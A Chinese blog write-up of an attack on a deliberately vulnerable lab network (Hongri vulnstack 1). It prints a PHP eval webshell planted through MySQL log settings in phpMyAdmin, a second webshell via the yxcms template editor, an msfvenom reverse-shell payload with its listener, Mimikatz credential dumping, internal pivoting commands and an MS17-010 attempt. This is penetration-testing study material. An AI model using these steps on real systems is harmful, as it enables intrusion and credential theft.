红日靶场实战一 - 学习笔记

最近在学习红蓝对抗,如果有兴趣的可以多关注。

目录

环境搭建

靶场链接

配置网络

攻击机kali网络

配置win7 web服务器网络

配置winserver 2008网络(DC域控)

配置win2003/win2k3网路(域成员)

IP配置情况

外网突破

信息收集

phpmyadmin后台getshell

尝试into outfile导入木马

利用mysql日志文件写入shell

yxcms后台上传getshell

内网渗透

内网信息收集

横向渗透

ms17-010攻击(失败)

后言


环境搭建

靶场链接

 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

虚拟机所有密码都为:hongrisec@2019(有点会提示密码过期,更改密码就好)。

配置网络

这个靶场的网络拓扑图如下:(画的有些粗糙别介意)

可以看到,这里需要两个网段,一个做外网,一个做内网,所以我们编辑虚拟网络编辑器如下:

攻击机kali网络

查看kali的网络ip

配置win7 web服务器网络

从网络拓扑图可知,win7需要配置两个网卡(内网和外网),外网需要和kali虚拟机在同一个网段。

1、编辑win7的网络适配器

2、登录win7,打开控制面板,找到网路本地连接编辑

3、关闭win7防火墙

4、去ping攻击机kali机,如果能够ping通,说明和外网已经连通

5、同样配置win7的内网IP

6、在C盘下找到phpstudy文件,开启web服务

7、在kali访问一下win7,可以正常访问到php探针

这样就配置好win7。

配置winserver 2008网络(DC域控)

1、同样的,设置winserver 2008的网段

2、登录winserver 2008(这里需要修改密码,就随便改就好了),查看主机IP,这里已经默认配置好

3、同样的,尝试ping主机win7的内网ip,如果ping通,则配置成功

配置win2003/win2k3网路(域成员)

同样的设置网卡

查看ip

域内成员能跟其他域成员通信,不能跟外网通信

IP配置情况

最后,总结一下IP配置情况

kali (攻击机):192.168.75.130 (VMnet8 网卡分配的IP)
Windows 7 (web服务器):192.168.75.143(外网和kali连通)、192.168.52.128(内网ip)
Windows 2008 (域控):192.168.52.138
Win2k3 (域管):192.168.52.141

外网突破

信息收集

首先在外网看到的是web站点,可以看到一个mysql的连接检测,尝试账号/密码:root/root,回显数据库连接正常,这是一个数据库用户弱密码。

这个页面没什么可以利用的了,尝试进行目录扫描

扫描到phpmyadmin目录,访问

使用刚刚测试的root/root登录成功,可以看到这里存在mysql和yxcms数据库

phpmyadmin后台getshell

关于phpmyadmin相关漏洞,有在之前的文章总结phpmyadmin漏洞汇总-CSDN博客

关于phpmyadmin常用的两种getshell方式:

  • into outfile导入木马
  • 利用mysql日志文件写入getshell

两种都尝试一下

尝试into outfile导入木马

能够使用此方法需要同时满足三个条件:

  • 有足够的权限
  • 知道网站路径
  • 能够写入文件,即secure_file_priv值不为null

很明显,此账号为root账号,具有管理员权限;

执行 select @@basedir; 查看一下网站的路径:C:/MYSQL/;

再使用show global variables like '%secure%';命令来查看secure_file_priv参数

可以看到secure_file_priv的参数为null,则不可利用。

利用mysql日志文件写入shell

先执行命令:show variables like '%general%'; 查看日志状态

可以知道,general_log参数未开启,如果开启,所有执行的SQL语句都会写进stu1.log日志中。所以只需要开启这个参数并且将日志文件路径修改为php文件,就可以执行shell。我们可以通过执行SQL语句需改这个参数值以及日志文件。

SET GLOBAL general_log='on',开启 general_log;

SET GLOBAL general_log_file='C:/phpStudy/www/hack.php',指定日志写入到网站根目录的 hack.php 文件;

然后执行SQL语句,将一句话木马写入php日志:SELECT '<?php eval($_POST["cmd"]);?>'

然后访问 hack.php,就可以看到成功写入文件

使用蚁剑连接shell

可以看到已经是administrator管理员权限

yxcms后台上传getshell

另外,在登录phpmyadmin后台发现yxcms数据库,而且也有yxcms目录和beifen.rar文件,说明这是一个网站(如果在信息收集阶段的字典足够强的话,也能爆出这个路径)。

直接访问/yxcms,可以看到这个页面的公告处,出现了一段提示信息

登录后台页面,找到前台模版这里有可以新增php文件的功能,那就非常凑巧,只需要写入一句话木马并且知道这个文件的路径就可以getshell。

  • 写入一句话木马

  • 寻找文件路径

那要怎么找到文件路径呢?这就有关于上面提到的beifen.rar文件(按照正常渗透,目录扫描照样能够扫描出来)。将beifen.rar文件解压,可以发现这些文件都在/yxcms/protected/apps/default/view/default/目录下

使用蚁剑连接,成功拿到shell

上面拿到了shell,接下来就要留后门了。

运行Cobalt Strike

配置好listener监听器之后,生成exe后门程序

利用蚁剑把生成的后门程序上传到靶机上

然后在终端中运行这个程序

可以在CS服务端看到靶机上线

可以使用 Mimikatz直接抓取win7用户密码

内网渗透

内网信息收集

接下来,进入内网世界。

首先,要先判断是否存在域,使用ipconfig /all查看DNS服务器,发现主DNS后缀不为空,存在域god.org

也可以直接执行命令net config workstation来查看当前计算机名、全名、用户名、系统版本、工作站、域、登录域等信息

 执行net view /domain查看有几个域

可以看到只有一个god.org域

既然只有一个域,执行net group "domain controllers" /domain命令查看域控制器主机名

域主机名称为OWA

使用ping域名获取域主机真实IP:

获得域主机IP为192.168.52.138

然后再执行net view命令查看局域网内其他主机信息

 可以发现,还有一个域成员主机:192.168.52.141

至此,内网信息收集完毕,已知信息:域控主机:192.168.52.138,存在一台域成员主机:192.168.52.141,接下来进行横向渗透拿下域控。

横向渗透

这里使用msfconsole工具进行渗透,前面的内网信息也可以不使用Cobalt Strike,使用msfconsole工具,为了更好的掌握这些工具就多多利用。

同样的,需要生成msf的后门exe文件

#生成后门文件,将生成的文件上传到蚁剑
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.75.130 lport=1111 -f exe -o shell.exe#开启监听
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.75.130
set lport 1111
exploit

成功反弹shell

配置静态路由(可以实现内网通信)

#加载路由模块,获取当前机器的所有网段信息
run post/multi/manage/autoroute#添加指定目标内网路由
run post/multi/manage/autoroute subnet=192.168.52.0 action=add

添加失败,因为路由已存在。

那么路由存在,则说明现在路由可达内网网段,可以对内网其他主机进行信息探测。

进行内网端口扫描(可以先执行background挂起当前会话,后续可以执行sessions -i重新返回会话)

use auxiliary/scanner/portscan/tcp
set rhosts 192.168.52.141
set ports 80,135-139,445,3306,3389
runset rhosts 192.168.52.138
run 

ms17-010攻击(失败)

可以看到域内成员主机和域控主机都开放了445端口,那既然开放了445端口,就探测一下有没有ms17-010漏洞,关于这个漏洞之前文章有详细讲解永恒之蓝(MS17-010)详解-CSDN博客

#搜索ms17_010漏洞相关的模块
search ms17_010use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run                           

可以看到这两台主机都存在永恒之蓝漏洞

进一步进行攻击拿下shell

use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.52.141
run

 使用了两个攻击模块,都没有成功拿到shell。

有可能需要借助隧道利用win7这台主机进行攻击,利用frp搭建尝试一下,有关于代理隧道的之前的文章也有提及过:Linux进程排查之代理隧道-CSDN博客

这里找到一篇文章是尝试使用代理攻击成功的,https://www.cnblogs.com/lusuo/p/17523049.html,但我尝试还是没有成功,可以自行去尝试一下,如果有大佬可以指出哪里有问题就更好了。

以下是我的尝试

先配置客户端frpc.ini(这里因为重启了攻击机,所以攻击机ip改变了192.168.75.128)

然后进行上传到蚁剑上

分别开启服务端和客户端

攻击机开启服务端

蚁剑开启客户端

然后攻击机配置代理

再使用代理启动msfconsole,进行ms17-010攻击,但是失败。

 

后言

靶场一就暂时告一段落,接下来还会继续更新靶场,有兴趣可以关注~

总的来说,红日靶场还是非常有学习实践意义的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/861346.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CVPR2024|vivo提出使用对抗微调获得泛化性更强的SAM,分割性能直接登顶 SOTA!

在计算机视觉不断发展的领域中&#xff0c;基础模型已成为一种关键工具&#xff0c;显示出对多种任务的出色适应性。其中&#xff0c;由 Meta AI 开发的 Segment Anything Model&#xff08;SAM&#xff09;在图像分割任务中表现杰出。然而&#xff0c;和其他类似模型一样&…

Java知识点整理 13 — Hutool工具库

在开发时经常需要编写很多与业务无关的代码&#xff0c;比如获取指定日期对象、获取本机 IP 地址、数据加密等。通常我们会将这些代码独立出来&#xff0c;放到 utils 目录下&#xff0c;作为工具类供其它代码调用。 但如果遇到一个从未接触过的领域知识&#xff0c;开发一个新…

《Three.JS零基础入门教程》第九篇:环境详解

往期回顾&#xff1a; 《Three.JS零基础入门教程》第一篇&#xff1a;搭建开发环境 《Three.JS零基础入门教程》第二篇&#xff1a;起步案例 《Three.JS零基础入门教程》第三篇&#xff1a;开发辅助 《Three.JS零基础入门教程》第四篇&#xff1a;基础变换 《Three.JS零基…

gc.log中 CMS-concurrent-abortable-preclean

问题 在gc日志中看到 2024-06-26T16:16:07.5040800: 64690272.666: [CMS-concurrent-abortable-preclean-start]CMS: abort preclean due to time 2024-06-26T16:16:12.5530800: 64690277.716: [CMS-concurrent-abortable-preclean: 1.052/5.049 secs] [Times: user1.33 sys0…

Ubuntu系统安装软件---以安装QQ为例

以安装QQ为例&#xff0c;首先你的Ubuntu系统需要连上网&#xff0c;连上网的网络状态如下图所示。 在ubuntu系统的网页中搜索QQ&#xff0c;如下图所示。 进入QQ官网&#xff0c;点击Linux&#xff0c;如下图所示。 随后会让你选择什么架构的版本&#xff0c;如何查看自己的是…

【Python机器学习】分类向量——One-Hot编码(虚拟变量)

为了学习分类特征&#xff0c;以某国成年人收入数据集&#xff08;adult&#xff09;为例&#xff0c;adult数据集的任务是预测一名工人的收入是高于50k还是低于50k&#xff0c;这个数据集的特征包括工人的年龄、雇佣方式、教育水平、性别、每周工作时长、职业等。 这个任务属于…

代码随想录算法训练营第50天(py)| 动态规划 | 1143.最长公共子序列、1035.不相交的线、53. 最大子序和、392.判断子序列

1143.最长公共子序列 力扣链接 给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长 公共子序列&#xff08;未必连续&#xff09; 的长度。如果不存在 公共子序列 &#xff0c;返回 0 。 思路 确定dp含义 dp[i][j]&#xff1a;长度为[0,i-1]和[0,j-1]的最长公…

ONLYOFFICE 桌面编辑器 8.1使用体验分享

目录 编辑器市场现状与用户选择 ONLYOFFICE桌面编辑器概览和功能 ONLYOFFICE桌面编辑器概览 功能丰富的PDF编辑器 演示文稿编辑器的创新 文档编辑的灵活性 电子表格的高级功能 语言和本地化 用户界面和体验 媒体播放 云服务和本地处理 跨平台支持 总结 在线亲身体…

mapstruct实现各个实体间的类型转换(DTO转BO、BO转Entity)的实践

一、引入 在没有遇见mapstruct的时候&#xff0c;实现各个实体之间的转换&#xff0c;都是手动转换实现的&#xff0c;属性少一带你还好&#xff0c;当属性一多&#xff0c;代码就会变得很冗余&#xff0c;没必要的非逻辑的代码就会加多。。。。 比如&#xff1a; public cl…

vue封装原生table表格方法

适用场景&#xff1a;有若干个表格&#xff0c;前面几列格式不一致&#xff0c;但是后面几列格式皆为占一个单元格&#xff0c;所以需要封装表格&#xff0c;表格元素自动根据数据结构生成即可&#xff1b;并且用户可新增列数据。 分类&#xff1a; 固定数据部分 就是根据数据…

openlayers性能优化——开启图层预加载、减少空白等待时间

使用切片图层时、地图拖拽会有空白图片&#xff0c;为了减少空白等待时间&#xff0c;我们可以开始图层预加载。 const map_top new Map({layers: [new TileLayer({preload:Infinity, //预加载source: new StadiaMaps({layer: "outdoors",}),}),],target: "ma…

LINKAI工作流的建立与调试,用到COW项目的微信机器人上

连接时需要把右边的号连到下一个框的输入&#xff0c;开始与结束是默认的。 可以单独调试模块 可以对模块进行个性化定义 最后进行总流程调试 将这里的code放到config.json文件中 接着又做了一个较复杂的工作流DgPz9wJaoh   QlCc34a8bP 原项目网址&#xff1a; https:/…

【学习笔记-机器学习】感知机模型

Author&#xff1a;赵志乾 Date&#xff1a;2024-06-26 Declaration&#xff1a;All Right Reserved&#xff01;&#xff01;&#xff01; 1. 基本概念 数据集的线性可分性&#xff1a;给定一个数据集 其中&#xff0c;&#xff0c;&#xff0c;,如果存在某个超平面S 能够将数…

Python的100道练习题目,每日一练,必成大神!!!

整理了100道Python的题目&#xff0c;如果你是一位初学者&#xff0c;这一百多道题可以 帮助你轻松的使用Python。初学 者每天可以尝试3-5个问题&#xff0c;经过这一百道题的练习&#xff0c;要把练习昨晚并且完全懂了&#xff0c;基本上Python就已 经入门了。如果你不是初学者…

Day 34:2368. 受限条件下可到达节点的数目

Leetcode 2368. 受限条件下可到达节点的数目 现有一棵由 n 个节点组成的无向树&#xff0c;节点编号从 0 到 n - 1 &#xff0c;共有 n - 1 条边。 给你一个二维整数数组 edges &#xff0c;长度为 n - 1 &#xff0c;其中 edges[i] [ai, bi] 表示树中节点 ai 和 bi 之间存在一…

OpenCV 车道检测

OpenCV 车道检测 前言模型分析车道检测相关链接 前言 如果要检测道路图像中的车道&#xff0c;方法之一是利用深度学习的语义分割技术。而在 OpenCV 中解决此问题可以使用边缘检测器。在本节中&#xff0c;我们将了解如何使用边缘检测和直线检测识别道路图像中的车道。 模型分…

测试用例的基本要素与设计方法

测试用例的基本要素 测试用例&#xff08;Test Case&#xff09;是为了实施测试而向被测试的系统提供的一组集合&#xff0c;这组集合包含&#xff1a;测试环境、操作步骤、测试数据、预期结果等要素。 好的测试用例是一个不熟悉业务的人也能依据用例来很快的进行测试评价测试用…

RT-Thread使用HAL库实现双线程控制LED交替闪烁

如何创建工程我的其他文中你面有可以进去查看 1创建线程&#xff08;以动态方式实现&#xff09; 1-2创建函数入口 1-2启动函数 main.c文件源码 /** Copyright (c) 2006-2024, RT-Thread Development Team** SPDX-License-Identifier: Apache-2.0** Change Logs:* Date …

【课程总结】Day11(下):YOLO的入门使用

前言 YOLO的简介 YOLO&#xff08;You Only Look Once&#xff09;是一种流行的目标检测算法&#xff0c;由Joseph Redmon等人于2015年提出。YOLO的设计思想是将目标检测任务转化为单个神经网络的回归问题&#xff0c;通过在图像上划分网格并对每个网格预测边界框和类别置信度…

40.连接假死-空闲检测-发送心跳

连接假死情况 1.网络设备出现故障,例如网卡,机房等。底层的TCP连接已经断开,但应用程序没有感知到,仍然占着资源。 2.公网网络不稳定,出现丢包。若果连续出现丢包,这时现象就是客户端数据发不出去,服务端也一直收不到数据,就这么一直耗着。 3.应用程序线程阻塞,无法…